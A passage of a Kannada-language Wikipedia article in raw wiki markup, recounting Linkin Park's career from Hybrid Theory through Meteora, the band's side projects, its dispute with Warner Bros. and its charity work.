ಗಿಲ್ಮೊರ್]] ಅವರು ಸಂಸ್ಕರಿಸಿ <ref name="Ask-Bio" /> ಪರಿಷ್ಕರಿಸಿದ್ದಾರೆ. ಹೈಬ್ರೀಡ್ ಥೆಯರಿ ಬೃಹತ್ ಪ್ರಮಾಣದ ವಾಣಿಜ್ಯಿಕ ಯಶಸ್ವು ತಂದುಕೊಟ್ಟಿತು.ಬ್ಯಾಂಡ್ ತನ್ನ ಚೊಚ್ಚಿಲ ವರ್ಷದಲ್ಲೇ ಸುಮಾರು 4.8 ದಶಲಕ್ಷ ರೆಕಾರ್ಡ್ ಪ್ರತಿಗಳನ್ನು ಮಾರಾಟ ಮಾಡಿತು.2001ರಲ್ಲಿ ಅತ್ಯಂತ ಉತ್ತಮ ವ್ಯಾಪಾರ ವಹಿವಾಟು ಕಂಡ ಅಲ್ಬಮ್ ಎಂದು ಹೆಸರು ಪಡೆದುಕೊಂಡಿತು.ಅದೇ ವರ್ಷ "[[ಕ್ರಾವಲಿಂಗ್]] " ಮತ್ತು"[[ಒನ್ ಸ್ಟೆಪ್ ಕ್ಲೋಸರ್]] "ಗಳು [[ಪರ್ಯಾಯ ರಾಕ್]] ಎಂದು ಇವುಗಳು ರೇಡಿಯೊ ಪಟ್ಟಿಯಲ್ಲಿ ಸೇರಿಕೊಂಡವು.ಇವುಗಳಿಗೂ ಸಹ ಒಂದು ದೃಢತೆ ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ದೊರಕಿತು <ref name="MusicMight" /> ಎನ್ನಬಹುದು. ಇನ್ನೂ ಹೆಚ್ಚೆಂದರೆ ಅಲ್ಬಮ್ ನಲ್ಲಿರುವ ಇನ್ನು ಕೆಲವು ಬಿಡಿ ಹಾಡುಗಳು ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಅಳವಡಿಸಲ್ಪಟ್ಟವು.ಉದಾಹರಣೆಗೆ ''[[ಡ್ರಾಕುಲಾ2000]]'' ,''[[ಲಿಟಲ್ ನಿಕಿ]]'' ಮತ್ತು ''[[ವೇಲೆಂಟೈನ್]] '' <ref name="MusicMight" /> ಇತ್ಯಾದಿ. ಅತ್ಯುತ್ತಮ ಹಾರ್ಡ್ ರಾಕ್ ನಿರ್ವಹಣೆಗಾಗಿ ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' [[ಉತ್ತಮ ಸಾಧನೆಗಗಾಗಿ ಗ್ರಾಮ್ಮೀ ಅವಾರ್ಡ್]] ಪಡೆದುಕೊಂಡಿತು.ಪ್ರಮುಖವಾಗಿ ("ಕ್ರಾವ್ ಲಿಂಗ್ "ಸಲುವಾಗಿ)ಅಲ್ಲದೇ ಇನ್ನುಳಿದ ಎರಡು [[ಗ್ರಾಮ್ಮೀ ಪ್ರಶಸ್ತಿ]]ಗಳಿಗಾಗಿ ಇವುಗಳನ್ನು ಹೆಸರಿಸಲಾಯಿತು:[[ಅತ್ಯುತ್ತಮ ಹೊಸ ಕಲಾವಿದ]] ಮತ್ತು [[ಅತ್ಯುತ್ತಮ ರಾಕ್ ಅಲ್ಬಮ್]] ಪ್ರಶಸ್ತಿಗೆ ಇವುಗಳನ್ನು <ref>United Stations Radio Network, [https://music.yahoo.com/read/news/12026293 Linkin Park's Grammy Noms Are Icing On The Cake] {{Webarchive|url=https://web.archive.org/web/20080117113500/http://music.yahoo.com/read/news/12026293 |date=2008-01-17 }} Retrieved on March 26, 2007</ref> ನಾಮಕರಣಗೊಳಿಸಲಾಯಿತು. ಬ್ಯಾಂಡ್ ನ [["ಇನ್ ದಿ ಎಂಡ್]]" ಸಂಗೀತ ಸಾಧನೆಯಲ್ಲಿ ಅತ್ಯುತ್ತಮ ರಾಕ್ ವಿಡಿಯೊ ಮತ್ತು ಅತ್ಯುತ್ತಮ ನಿರ್ದೇಶನಕ್ಕಾಗಿ [[MTV]] ಪ್ರಶಸ್ತಿ <ref name="Ask-Bio" /> ನೀಡಿತು. ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' ಯ ಬೆಸ್ಟ್ ಹಾರ್ಡ್ ವರ್ಕ್ ಪರಫಾರ್ಮನ್ಸ್ ಸಾಧನೆಯಿಂದಾಗಿ ಬ್ಯಾಂಡ್ ತನ್ನ ಯಶಸ್ವಿನ [[ಮುಖ್ಯವಾಹಿನಿ]]ಯಲ್ಲಿ ತಾನು ಗುರುತಿಸಿಕೊಂಡಿತು. ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಹಲವಾರು ಪ್ರವಾಸಿ ಅವಕಾಶ ಮತ್ತು ಅತ್ಯುತ್ತಮ ಜನಪ್ರಿಯ ವೇದಿಕೆಗಳಲ್ಲಿ ತನ್ನ ಬ್ಯಾಂಡ್ ನ್ನು ನಡೆಸಿಕೊಡುವಂತೆ ಹಲವಾರು ಆವ್ಹಾನಗಳನ್ನು ಪಡೆಯಿತು.ಅತ್ಯುತ್ತಮ ಸಂಗೀತ ಕಚೇರಿಗಳೆಂದರೆ [[ಒಝ್ ಫೆಸ್ಟ]],[[ಫೆಮಿಲಿ ವ್ಯಾಲ್ಯು ಟೂರ್]] ಮತ್ತು [[KROQ ಆಲ್ಮೊಸ್ಟ್ ಅಕೌಸ್ಟಿಕ್ ಕ್ರಿಸ್ಮಸ.|<ref name="MusicMight" /><ref>MTV.com, [http://www.mtv.com/news/articles/1451189/20011126/story.jhtml Linkin Park, P.O.D., Nickelback, More To Play LA’s KROQ Fest] Retrieved on March 26, 2007</ref> KROQ ಆಲ್ಮೊಸ್ಟ್ ಅಕೌಸ್ಟಿಕ್ ಕ್ರಿಸ್ಮಸ.]] ಆವ್ಹಾನಗಳಲ್ಲದೇ ಬ್ಯಾಂಡ್ ಕೂಡಾ ತನ್ನದೇ ಆದ ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮಗಳ ಪ್ರವಾಸಗಳನ್ನು ಹಮ್ಮಿಕೊಂಡಿತು.[[ಪ್ರೊಜೆಕ್ಟ್ ರೆವಲೂಶನ್]],ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮವು ಅತ್ಯುತ್ತಮ ಕಲಾವಿದರಾದ [[ಸೈಪ್ರೆಸ್ ಹಿಲ್]] ,[[ಅಡೆಮಾ]] ಮತ್ತು [[ಸ್ನೂಪ್ ಡಾಗ್ಗ್]] ರನ್ನು <ref name="LPT" /> ಒಳಗೊಂಡಿತ್ತು. }ಕೇವಲ ಒಂದು ವರ್ಷದ ಅವಧಿಯಲ್ಲಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ 320 ಸಂಗೀತ ಕಚೇರಿಗಳನ್ನು ನೀಡುವಲ್ಲಿ <ref name="Ask-Bio" /> ಯಶಸ್ವಿಯಾಯಿತು. ಬ್ಯಾಂಡಿನ ಅನುಭವಗಳು ಮತ್ತು ಸಾಧನೆಗಳನ್ನು ಅದರ ಮೊದಲ [[DVD]]ಯಲ್ಲಿ ದಾಖಲಿಸಲಾಯಿತು''[[.ಫ್ರಾಟ್ ಪಾರ್ಟಿ ಅಟ್ ಪಂಕಾಕೆ ಫೆಸ್ಟಿವಲ್]]'' ಇದು ನವೆಂಬರ್ 2001ರಲ್ಲಿ ಚೊಚ್ಚಿಲ ಪ್ರವೇಶ ಪಡೆಯಿತು. [[ಡಬ್ಬಲ್ ಬೇಸಿಸ್ ವ್ಯಾದ್ಯ ನುಡಿಸುವ]] ಫೀನಿಕ್ಸ್ ರೊಂದಿಗೆ ಮತ್ತೆ ಮರುಸೇರ್ಪಡೆಗೆ ಬ್ಯಾಂಡ್ ಅನುಮತಿಸಿತು.ಇದೇ ಸಂದರ್ಬದಲ್ಲಿ ರಿಮಿಕ್ಸ್ ಅಲ್ಬಮ್ ಮೇಲೆ ಕೆಲಸ ಪ್ರಾರಂಭಗೊಂಡಿತು.''[[ರೆನಿಮೇಶನ್]] '' ಇದು [[ಹೈಬ್ರೀಡ್ ಥೆಯರಿ]] ಮತ್ತು ''''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' '' EP ಯನ್ನು <ref name="MusicMight" /> ಹೊರತರಲಾಯಿತು. ರೆನಿಮೇಶನ್ ನನ್ನು 2002ರ ಜುಲೈ30ರಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ಪ್ರಚುರಗೊಳಿಸಲಾಯಿತು.ಇದರಲ್ಲಿ [[ಬ್ಲ್ಯಾಕ್ ಥಾಟ್]],[[ಜೊನಾಥನ್ ಡೇವಿಸ್]],[[ಆರೊನ್ ಲೆವಿಸ್]] ಮತ್ತುಇತರರ ಇಚ್ಚೆ ಮೇರೆಗೆ ಇದರ ಕಾರ್ಯ <ref>United Stations Radio Network, [https://music.yahoo.com/read/news/12060732 Linkin Park’s 'Reanimation' Set For July 30] {{Webarchive|url=https://web.archive.org/web/20070818122400/http://music.yahoo.com/read/news/12060732 |date=2007-08-18 }} Retrieved on March 26, 2007</ref> ಅಡಿಯಿಟ್ಟಿತು. ''ರೆನಿಮೇಶನ್ '' ಮತ್ತೆ [[ಬಿಲ್ ಬೋರ್ಡ್ 200]]ನಲ್ಲಿಮತ್ತೆ ತನ್ನ ಎರಡನೆಯ ಸ್ಥಾನ ಗಳಿಸುವಲ್ಲಿ ಯಶಸ್ವಿಯಾಯಿತು;ಇದಲ್ಲದೇ ಸುಮಾರು 270,000 ಪ್ರತಿಗಳನ್ನು ಅದು ತನ್ನ ಮೊದಲ ವಾರದಲ್ಲೇ ವ್ಯಾಪಾರ-ವಹಿವಾಟಿನ ಮಾರಾಟದ ಭರಾಟೆ <ref>Yahoo! Music, [https://music.yahoo.com/read/news/12026172 Linkin Park Remixes Chart With Number Two Debut] {{Webarchive|url=https://web.archive.org/web/20070617044952/http://music.yahoo.com/read/news/12026172 |date=2007-06-17 }} Retrieved on March 26, 2007</ref> ಕಂಡುಕೊಂಡಿತು. === ''ಮೀಟೊರಾ'' (2002–2004) === ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' ಮತ್ತು ''ರೆನಿಮೇಶನ್ '' ಗಳ ಯಶಸ್ವಿನಿಂದಾಗಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ತನ್ನ ಬಹುಸಮಯವನ್ನು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನ ಪ್ರವಾಸದಲ್ಲಿ ಕಳೆಯಿತು. ಅದರ ಅತ್ಯಂತ ಬಿರುಸಿನ ಸಂಗೀತ ಆವ್ಹಾನದ ಚಟುವಟಿಕೆಗಳ ಮಧ್ಯೆಯೂ ಬ್ಯಾಂಡ್ ಸದಸ್ಯರು ಹೊಸ ಹೊಸ ಶೈಲಿಗಳ ಬಗ್ಗೆ ಅಭ್ಯಸಿಸಲು ಆರಂಭಿಸಿದರು.ಅದು ತನ್ನ ರಜತ,ಬಿಡುವಿನ ವೇಳೆಯನ್ನು ತನ್ನ ಪ್ರವಾಸಿ ಬಸ್ ಟೂರ್ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಕಳೆಯಲು <ref name="dvd">Warner Bros. Records, "The Making of Meteora" (2003) [[DVD]], Released on March 25, 2003.</ref> ಆರಂಭಿಸಿತು.<ref name="mtv.com">MTV.com, [http://www.mtv.com/news/articles/1459710/01272003/linkin_Park.jhtml Linkin Park Get Their Tempers Under Control To Complete New LP] Retrieved on June 10, 2006</ref> ಬ್ಯಾಂಡ್ ತನ್ನ ನೂತನ ಸ್ಟುಡಿಯೊ ಅಲ್ಬಮ್ ನ್ನು 2002ರಲ್ಲಿ ಅಧಿಕೃತವಾಗಿ ಘೋಷಿಸಿತು.[[ಗ್ರೀಸ್]] ನಲ್ಲಿನ ತನ್ನ ರಾಕಿ ಪ್ರದೇಶ [[ಮೀಟೊರಾ]]ದಿಂದ ಅದು ಈ ಹೊಸ ಪ್ರೇರಣೆ ಪಡೆಯಿತು.ಗ್ರೀಸ್ ನಲ್ಲಿನ ಬಂಡೆಗಳ ಮೇಲೆ ನಿರ್ಮಾಣಗೊಂಡಿರುವ ಅಸಂಖ್ಯಾತ [[ಕ್ರೈಸ್ತ ಮಂದಿರಗಳು]] ಬ್ಯಾಂಡ್ ನ ಸ್ಪೂರ್ತಿಗೆ <ref name="mtv.com"/> ಕಾರಣವೆನ್ನಲಾಗಿದೆ. ''[[ಮೀಟೊರಾ]] '' ಅಲ್ಬಮ್ ಬ್ಯಾಂಡ್ ನ ಹಿಂದಿನ [[ನು ಮೆಟಲ್]] ಮತ್ತು [[ರಾಪ್ ಕೊರ್]] ಶೈಲಿಗಳಲ್ಲಿಯೇ ಹೊಸ ಆವಿಷ್ಕಾರದ ಪರಿಣಾಮಗಳನ್ನು ಅಳವಡಿಸಲಾಗಿದೆ.ಇದರಲ್ಲಿ [[ಶಕುಹಾಚಿ]] ([[ಜಪಾನಿನ]] ಬಿದಿರಿನ ಕೊಳಲು ವಾದ್ಯ) ಮತ್ತು ಇನ್ನು ಇತರೆ ಸಂಗೀತ ವಾದ್ಯಗಳನ್ನು [[ಪರಿಚಯಿಸಲಾಗಿದೆ]]. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ ಎರಡನೆಯ ಅಲ್ಬಮ್ ಮಾರ್ಚ್ 25ರ 2003ರಲ್ಲಿ ಪದಾರ್ಪಣೆ ಮಾಡಿ ವಿಶ್ವಾದ್ಯಂತ ಹೆಸರುವಾಸಿಯಾಯಿತು.ಅದು US ಮತ್ತುUK#1,ಮತ್ತುಆಸ್ಟ್ರೇಲಿಯಾದಲ್ಲಿ#2ರಷ್ಟು ದಾಖಲೆ ಮಾಡಿತು. ತನ್ನ ಮೊದಲ ವಾರದಲ್ಲೇ ''ಮಿಟೊರಾ '' ಅಲ್ಬಮ್ ಸುಮಾರು 800,000 ಕ್ಕಿಂತ ಹೆಚ್ಚು ಪ್ರತಿಗಳು ಮಾರಾಟವಾದವು.ಅದೇ ವೇಳೆಗೆ ಅತ್ಯುತ್ತಮ ಮಾರಾಟವಾಗುವ ಅಲ್ಬಮ್ ಎಂದು [[ಬಿಲ್ ಬೋರ್ಡ್ ಚಾರ್ಟ್ಸ್]] ನಲ್ಲಿ <ref>Yahoo! Music, [https://music.yahoo.com/read/news/12038512 Linkin Park 'Meteora' Debuts At Number One, Sets Aside Tix For Military] {{Webarchive|url=https://web.archive.org/web/20070817193817/http://music.yahoo.com/read/news/12038512 |date=2007-08-17 }} Retrieved on April 8, 2007</ref> ದಾಖಲಾಯಿತು. ಅಲ್ಬಮ್ ನಲ್ಲಿರುವ ಸಿಂಗಲ್ ಗಳಾದ "[[ಸಮ್ ವ್ಹೇರ್ ಐ ಬಿಲಾಂಗ್]] " "[[ಬ್ರೆಕಿಂಗ್ ದಿ ಹ್ಯಾಬಿಟ್]] ",[[ಫೇಂಟ್]] " ಮತ್ತು" [[ನಂಬ್]] "ಹಲವು ಮಹತ್ವದ ರೇಡಿಯೊದ ಗಮನ <ref>Yahoo! Music, [https://music.yahoo.com/read/news/12061738 Linkin Park Says 'Faint' Is Equal To Other Songs] {{Webarchive|url=https://web.archive.org/web/20080502211812/http://music.yahoo.com/read/news/12061738 |date=2008-05-02 }} Retrieved on April 8, 2007</ref> ಸೆಳೆದವು. ಅಕ್ಟೋಬರ್ 2003ರಲ್ಲಿ ''ಮೀಟೊರಾ '' ಕಡಿಮೆ ಎಂದರೂ ಮೂರು ದಶಲಕ್ಷ ಪ್ರತಿಗಳು <ref>LAUNCH Radio Networks, [https://music.yahoo.com/read/news/12043299 Linkin Park Album Certified Triple Platinum] {{Webarchive|url=https://web.archive.org/web/20070616201006/http://music.yahoo.com/read/news/12043299 |date=2007-06-16 }} Retrieved on April 8, 2007</ref> ಮಾರಾಟವಾದವು. ಈ ಅಲ್ಬಮ್ ನ ಯಶಸ್ವಿನಿಂದಾಗಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಮತ್ತೊಂದು [[ಪ್ರೊಜೆಕ್ಟ್ ರೆವಲೂಶನ್]] ನ್ನು ಸಿದ್ದಪಡಿಸಿತು.ಇದರಲ್ಲಿ ಇತರ ಬ್ಯಾಂಡ್ ಗಳ ಕಲಾವಿದರು,[[ಮುದ್ಯಾನೆ]],[[ಬ್ಲೈಂಡ್ ಸೈಡ್]] ಮತ್ತು [[ಎಕ್ಸ್ ಬಿಟ್]] ಅವರ ಕೊಡುಗೆ <ref name="Ask-Bio" /> ಸಾಕಷ್ಟಿದೆ.<ref name="vh1">VH1.com, [http://www.vh1.com/artists/az/linkin_park/bio.jhtml Linkin Park: Biography] {{Webarchive|url=https://web.archive.org/web/20100305155659/http://www.vh1.com/artists/az/linkin_park/bio.jhtml |date=2010-03-05 }} Retrieved on April 8, 2007</ref> ಇನ್ನೂ ಹೆಚ್ಚೆಂದರೆ 2003ರ ಸ್ಯಾನಿಟ್ಯಾರಿಯಮ್ ಬೇಸಿಗೆ ಪ್ರವಾಸಕ್ಕಾಗಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ್ನು [[ಮೆಟಾಲಿಕಾ]] ಆವ್ಹಾನಿಸಿತು.ಇದರಲ್ಲಿ ಜನಪ್ರಿಯ [[ಲಿಂಪ್ ಬಿಜ್ ಕಿಟ್]],[[ಮುದ್ಯಾಯ್ನೆ]] ಮತ್ತು [[ಡೆಫ್ಟೊನ್ಸ್]] ಇವರ ಸಾಧನೆಗಳು ಗಮನ <ref name="vh1"/> ಸೆಳೆದವು. ಈ ಬ್ಯಾಂಡ್ ಒಂದು ಅಲ್ಬಮ್ ಮತ್ತು ಒಂದು[[DVD]],ಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತು.''[[ಲೈವ್ ಇನ್ ಟೆಕ್ಷಾಸ್]]'' ;ಇದು ಬ್ಯಾಂಡ್ [[ಟೆಕ್ಷಾಸ್]] ಪ್ರವಾಸಸಂದರ್ಭದಲ್ಲಿ ಮಾಡಿದ ಕೆಲವು ಸಾಧನೆಗಳ ಆಡಿಯೊ ಮತ್ತು ವಿಡಿಯೊ<ref name="Ask-Bio" /> ಟ್ರಾಕ್ ಗಳಿವೆ. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ 2004ರ ಆರಂಭದಲ್ಲಿ ''ಮೀಟೊರಾ ವರ್ಲ್ ಡ್ ಟೂರ್'' ಹೆಸರಿನ ವಿಶ್ವ ಪ್ರವಾಸ ಆರಂಭಿಸಿತುಬ್ಯಾಂಡ್ ಪ್ರವಾಸದ ಬೆಂಬಲಕ್ಕಾಗಿ [[ಹೂಬ್ ಸ್ಟ್ಯಾಂಕ]],[[P.O.D.]] ಮತ್ತು [[ಸ್ಟೊರಿ ಆಫ್ ದಿ ಇಯರ್]] ಇತ್ಯಾದಿ. ''ಮೀಟೊರಾ '' ಹಲವಾರು ಪ್ರಶಸ್ತಿ ಮತ್ತು ಗೌರವಗಳನ್ನು ಬ್ಯಾಂಡ್ ಗೆ ತಂದುಕೊಟ್ಟಿತು <ref name="ring">Ringsurf.com, [http://www.ringsurf.com/info/Music/Rap/Linkin_Park/ Linkin Park Awards] Retrieved on April 4, 2007</ref> ಬ್ಯಾಂಡ್ [[MTV]] ಯ ಬೆಸ್ಟ್ ರಾಕ್ ವಿಡಿಯೊ ("ಸಮ್ ವ್ಹೇರ್ ಐ ಬಿಲಾಂಗ್ ") ಮತ್ತು ವಿವರ್ಸ್ ಚಾಯಿಸ್ ಅವಾರ್ಡ್ ("ಬ್ನ್ರೇಕಿಂಗ್ ದಿ ಹ್ಯಾಬಿಟ್ ) ಪ್ರಶಸ್ತಿಗಳನ್ನು ಗಳಿಸಿತು. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಬ್ಯಾಂಡ್ 2004ರ [[ರೇಡಿಯೊ ಮ್ಯುಜಿಕ್ ಅವಾರ್ಡ್]] ಗಳನ್ನು ಗೆದ್ದುಕೊಂಡಿತಲ್ಲದೇ ಅದೇ ವರ್ಷದ ಉತ್ತಮ ಕಲಾವಿದ ಹಾಗು ಆ ವರ್ಷದ ಅತ್ಯುತ್ತಮ ಹಾಡು("ನಂಬ್ ")ಗೆ ಪ್ರಶಸ್ತಿ <ref name="ring" /> ಗೆದ್ದುಕೊಂಡಿತು. ''ಹೈಬ್ರೀಡ್ ಥೆಯರಿ'' ಯಷ್ಟು ಇದು ಅಂತಹ ಯಶಸ್ವು ಕಾಣಲಿಲ್ಲವಾದರೂ ''ಮೀಟೊರಾ '' 2003ರಲ್ಲಿ ಅಮೆರಿಕಾದಲ್ಲಿ ಅತ್ಯಧಿಕ ಮಾರಾಟ ಕಂಡ ಅಲ್ಬಮ್ <ref name="MusicMight" /> ಆಗಿದೆ. ಬ್ಯಾಂಡ್ 2004ರ ಕೆಲವು ತಿಂಗಳುಗಳನ್ನು ವಿಶ್ವ ಪ್ರವಾಸದಲ್ಲಿ ಕಳೆಯಿತು.ಮೊದಲ ಬಾರಿಗೆ ಮೂರನೆಯ ಪ್ರಾಜೆಕ್ಟ್ ರೆವಲೂಶನ್ ಟೂರ್ ನಂತರ ಹಲವಾರು ಯುರೊಪಿಯನ್ ಸಂಗೀತ ಕಚೇರಿಗಳನ್ನು <ref name="MusicMight" /> ನಡೆಯಿಸಿತು. === ಇನ್ನಿತರ ಯೋಜನೆಗಳು (2004–2006) === [[ಚಿತ್ರ:Chester Bennington LP.JPG|thumb|right|150px| MTV ಯ ಏಸಿಯಾ ಏಡ್ ನಲ್ಲಿ ಬೆನ್ನಿಂಗ್ಟನ್]]''ಮೆಟೊರಾ'' ದ ಯಶಸ್ವಿಯಾದ ನಂತರ ಬ್ಯಾಂಡ್ ತನ್ನ ಕೆಲವು ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮಗಳನ್ನುಕೆಲವು ವರ್ಷಗಳ ಕಾಲ '''ಮುಂದೂಡಿತು''' .'''''ಅದರ ಬದಲಾಗಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಇನ್ನಿತರ ಸಣ್ಣ ಯೋಜನೆಗಳ ಜಾರಿಗೊಳಿಸಲು ತನ್ನ ಪ್ರವಾಸ ಕಾರ್ಯವನ್ನು ಮುಂದುವರಿಸಿತು. ''' '' '''''ಬೆನ್ನಿಂಗ್ಟನ್ [[DJ ಲೆಥಲ್]] ನ "ಸ್ಟೇಟ್ ಆಫ್ ದಿ ಆರ್ಟ್ "ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡರಲ್ಲದೇ [[ಡೆಡ್ ಬೈ ಸನ್ ರೈಸ್]] ನ ಇತರೆ ಕೆಲಸ ಪೂರ್ಣಗೊಳಿಸಿದರು;ಅದೇ ಸಂದರ್ಭದಲ್ಲಿ ಶಿನೊಡಾ [[ಡೆಪಾಚೆ ಮೋಡ್]] ನೊಂದಿಗೆ <ref name="MusicMight" /> ಕಾರ್ಯಕೈಗೊಂಡರು. ''' '' ಸುಮಾರು 2004ರಲ್ಲಿ ಬ್ಯಾಂಡ್ [[ಜಯ್-Z]]ನೊಂದಿಗೆ ಕೆಲಸ ಆರಂಭಿಸಿ ಮತ್ತೊಂದು ರಿಮಿಕ್ಸ್ (ಮರು ಮಿಶ್ರಣ) {1{{2}}ಕೊಲಿಜನ್ ಕೋರ್ಸ್ ಎಂಬ ಶೀರ್ಷಿಕೆಯ ನೂತನ ಅಲ್ಬಮ್ ಬಿಡುಗಡೆ ''ಮಾಡಲಾಯಿತು'' .'''''ಈ ಅಲ್ಬಮ್ ನಲ್ಲಿ ಹಳೆಯ ಕಲಾವಿದರ ಹಾಡುಗಳಿವೆ.ಆಂತರಿಕ ರಿಮಿಕ್ಸ್ ಮತ್ತು ಗೀತ ಸಂಯೋಜನೆಗಳು ಮತ್ತು ಹಿನ್ನಲೆ ಟ್ರ್ಯಾಕ್ ಗಳನ್ನು ಎರಡೂ ಕಲಾವಿದರಿಂದ ನವೆಂಬರ್ 2004ರಲ್ಲಿಇದರಲ್ಲಿ ಹಾಡಿಸಲಾಗಿದೆ. '' ''' '''''ಶಿನೊಡಾ ಕೂಡಾ [[ಫೊರ್ಟ್ ಮೈನರ್]] ಎಂಬ ಹೊಸ ಬ್ಯಾಂಡೊಂದನ್ನು ಪಾರ್ಶ್ವ ಯೋಜನೆಯಂತೆ ಹುಟ್ಟುಹಾಕಿದ. '' ''' '''ಜಯ್-Z,ನ ನೆರವಿನೊಂದಿಗೆ ಫೊರ್ಟ್ ಮೈನರ್ [[ದಿ ರೈಸಿಂಗ್ ಟೈಡ್]] ಅಲ್ಬಮನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತಲ್ಲದೇ ಇದು ಕೆಲಮಟ್ಟಿಗೆ ''ವಿವಾದಕ್ಕೆ '' <ref>{{cite news | url=http://www.chartattack.com/news/40464/mike-shinodas-fort-minor-rise-to-the-occasion | title=Mike Shinoda's Fort Minor Rise To The Occasion | date=February 13, 2006 | first=Matt | last=Semansky | accessdate=November 17, 2008 | publisher=''[[Chart (magazine)|Chart]]'' | archive-date=ಡಿಸೆಂಬರ್ 7, 2008 | archive-url=https://web.archive.org/web/20081207085702/http://www.chartattack.com/news/40464/mike-shinodas-fort-minor-rise-to-the-occasion | url-status=dead }}</ref><ref>Machine Shop, [http://www.machineshopmarketing.com/teams/teamspage.asp?team=fortminor Fort Minor Biography] {{Webarchive|url=https://web.archive.org/web/20090127010718/http://machineshopmarketing.com/teams/teamspage.asp?team=fortminor |date=2009-01-27 }} Retrieved on April 23, 2007</ref> ಕಾರಣವಾಯಿತು.''' '''''ಅದೇ ವೇಳೆಗೆ [[ವಾರ್ನರ್ ಬ್ರಸ.ರೆಕಾರ್ಡ್]] ನೊಂದಿಗಿನ ಬ್ಯಾಂಡ್ ಸಂಬಂಧ ಹಳಸಲು ಆರಂಭಿಸಿತು.ಹಲವಾರು ಟ್ರಸ್ಟ್ ಮತ್ತು ಹಣಕಾಸಿನ ವಿಷಯಗಳಲ್ಲಿ ಅವುಗಳ ಸಂಬಂಧ ದಿನೇ ದಿನೇ ಕೆಡುತ್ತಾ <ref>Rolling Stone, [http://www.rollingstone.com/news/story/7373660/linkin_warner_feud_rages Linkin, Warner Feud Rages] {{Webarchive|url=https://web.archive.org/web/20070629032257/http://www.rollingstone.com/news/story/7373660/linkin_warner_feud_rages |date=2007-06-29 }} Retrieved on May 12, 2007</ref> ಬಂತು. '' ''' '''''ಕೆಲವು ತಿಂಗಳ ಕಾಲ ನಡೆದ ಈ ಕದನ ಕೊನೆಗೆ ಬ್ಯಾಂಡ್ ಡಿಸೆಂಬರ್ 2005ರಲ್ಲಿ ವಹಿವಾಟೊಂದನ್ನು <ref>Aversion, [http://www.aversion.com/news/news_article.cfm?news_id=5552 Linkin Park, Warner Bros. Kiss, Make Up] Retrieved on May 12, 2007</ref> ಕುದುರಿಸಿಕೊಂಡಿತು.'' ''' ಹಲವಾರು ಧಾರ್ಮಿಕ ಕಾರ್ಯಚಟುವಟ್ಕೆಗಳಲ್ಲಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ಭಾಗಿಯಾಯಿತು. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ 2004ರ [[ಹುರಿಕೇನ್ ಚಾರ್ಲಿ]] ಬಿರುಗಾಳಿಗೆ ಸಿಲುಕಿದ್ದ ಜನರಿಗೆ ನೆರವಿನ ಹಸ್ತ ಚಾಚಿತಲ್ಲದೇ ನಂತರ 2005ರಲ್ಲಿ ಸಂಭವಿಸಿದ [[ಹುರಿಕೇನ್ ಕಟ್ರೀನಾ]] ಸಂದರ್ಭದ ಸಂತ್ರಸ್ತರಿಗೆ ಬ್ಯಾಂಡ್ ಚಾರಿಟಿಯಾಗಿ ನಿಂತು ಸಹಾಯ <ref name="MusicMight" /> ನೀಡಿತು. ಬ್ಯಾಂಡ್ $75,000 ನಿಧಿಯನ್ನು ಮಾರ್ಚ್ 2004ರಲ್ಲಿ [[ಸ್ಪೇಶಲ್ ಆಪರೇಶನ್ ವಾರಿಯರ್ ಫೌಂಡೇಶನ್]] ಗೆ ನೆರವು <ref>{{Cite web |url=http://www.specialops.org/news_past.asp |title=Special Operations Warrior Foundation: News and Events Archive |access-date=2010-03-09 |archive-date=2008-01-12 |archive-url=https://web.archive.org/web/20080112113611/http://www.specialops.org/news_past.asp |url-status=dead }}</ref> ನೀಡಿತು. ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ [[2004ರ ಸುನಾಮಿ]] ಸಂತ್ರಸ್ತರಿಗೆ ಹಲವಾರು ಸಂಗೀತ ಕಚೇರಿಗಳನ್ನು ಆಯೋಜಿಸಿ ನೆರವು ನೀಡಿತು.ಇದಕ್ಕಾಗಿ ಹೆಚ್ಚುವರಿ ನಿಧಿ ಸಂಗ್ರಹಿಸಲು "ಮ್ಯುಸಿಕ್ ಫಾರ್ ರಿಲೀಫ್ "ಎಂಬುದನ್ನು ಬ್ಯಾಂಡ್ ಚಾಲ್ತಿಗೆ <ref>VoaNews, [http://www.voanews.com/english/archive/2004-12/2004-12-31-voa48.cfm?CFID=74354381&amp;CFTOKEN=58486424 Linkin Park Launches Relief Fund for Tsunami Victims; Backstreet Boys to Release New Album]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} Retrieved on May 12, 2007</ref> ತಂದಿತು. ಜಾಗತಿಕ ಜಾಗೃತಿ ಮೂಡಿಸುವ [[ಲೈವ್ 8]]ಮೂಲಕ ಸರಣಿ ಸಂಗೀತ ಕಚೇರಿಗಳನ್ನು ಆಯೋಜಿಸಲಾಯಿತು.ಚಾರಿಟಿ ಬೆನ್ ಫಿಟ್ ಶೊ ಮೂಲಕ ನೊಂದವರಿಗಾಗಿ ನಿಧಿ <ref name="liv8">The Linkin Park Times, 